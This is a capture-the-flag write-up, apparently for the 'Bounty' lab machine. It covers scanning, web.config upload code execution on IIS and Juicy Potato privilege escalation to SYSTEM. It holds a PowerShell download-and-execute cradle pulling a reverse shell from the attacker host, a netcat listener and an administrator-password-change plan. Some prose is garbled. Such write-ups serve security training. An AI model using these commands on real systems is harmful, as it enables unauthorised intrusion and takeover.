```
[]$ nmap -Pn -T4 -A -v 10.129.4.112
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Now we know that the server is running Microsoft IIS 7.5, so we will scan for only .aspx files, because they]$ gobuster dir -u http://10.129.4.112/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .aspx

```
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.129.4.112/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     aspx
[+] Timeout:        10s
===============================================================
2021/02/03 08:20:55 Starting gobuster
===============================================================
/transfer.aspx (Status: 200)
/UploadedFiles (Status: 301)
/uploadedFiles (Status: 301)
/uploadedfiles (Status: 301)
===============================================================
2021/02/03 08:38:50 Finished
===============================================================
```

We find the file loading page at http://10.129.4.112/transfer.aspx !

web.config Payload Creation :
https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/

```
[]$ sudo tcpdump icmp -i tun0
09:54:44.060577 IP 10.129.95.149 > 10.10.14.66: ICMP echo request, id 1, seq 1,
length 40
09:54:44.060604 IP 10.10.14.66 > 10.129.95.149: ICMP echo reply, id 1, seq 1, length
40
```

and confirmed the code exection :

```
[]$ nano Invoke-PowerShellTcp.ps1
(https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)
don't forget to add this line at the end of the script
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.66 -Port 4444


[]$ sudo python3 -m http.server 8000
```

set a listener

```
[http://10.129.95.149/uploadedfiles/web.config]$ sudo rlwrap nc -lvnp 4444
```

```
listening on [any] 4444 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.95.149] 49174
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
bounty\merlin

PS C:\users\merlin\desktop> ls
PS C:\users\merlin\desktop>

the file is just hidden :
PS C:\users\merlin\desktop> ls -force


   Directory: C:\users\merlin\desktop


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a-hs         5/30/2018  12:22 AM        282 desktop.ini
-a-h-         5/30/2018  11:32 PM         32 user.txt


PS C:\users\merlin\desktop> cat user.txt
e29ad8989146********************

PS C:\users\merlin\desktop> systeminfo

Host Name:                 BOUNTY
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                55041-402-3606965-84760
Original Install Date:     5/30/2018, 12:22:24 AM
System Boot Time:          2/10/2021, 10:56:19 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD
~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,058 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 2,694 MB
Virtual Memory: In Use:    1,401 MB
```

```
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                          [01]: vmxnet3 Ethernet Adapter
                               Connection Name: Local Area Connection 3
                               DHCP Enabled:    Yes
                               DHCP Server:     10.129.0.1
                               IP address(es)
                               [01]: 10.129.95.149
                               [02]: fe80::594b:58de:1fa0:9be8
                               [03]: dead:beef::594b:58de:1fa0:9be8


looking at privileges of merlin user we can see that SeImpersonatePrivilege enabled

PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


Juicy potato can make use of other COM server and any port other than 6666 :

[]$ nano rev.bat
powershell "IEX(New-Object
Net.WebClient).downloadString('http://10.10.14.66:8000/Invoke-PowerShellTcp.ps1')"

create a script pwned.bat to change the Administrator password and login with PSEXEC
with those credentials :

[]$ sudo rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.96.210] 49166
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

whoami
nt authority\system
PS C:\Windows\system32> cd C:\users\Administrator\Desktop
PS C:\users\Administrator\Desktop> ls

   Directory: C:\users\Administrator\Desktop


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         5/31/2018  12:18 AM         32 root.txt
```

```
PS C:\users\Administrator\Desktop> type root.txt
c837f7b699fe********************
```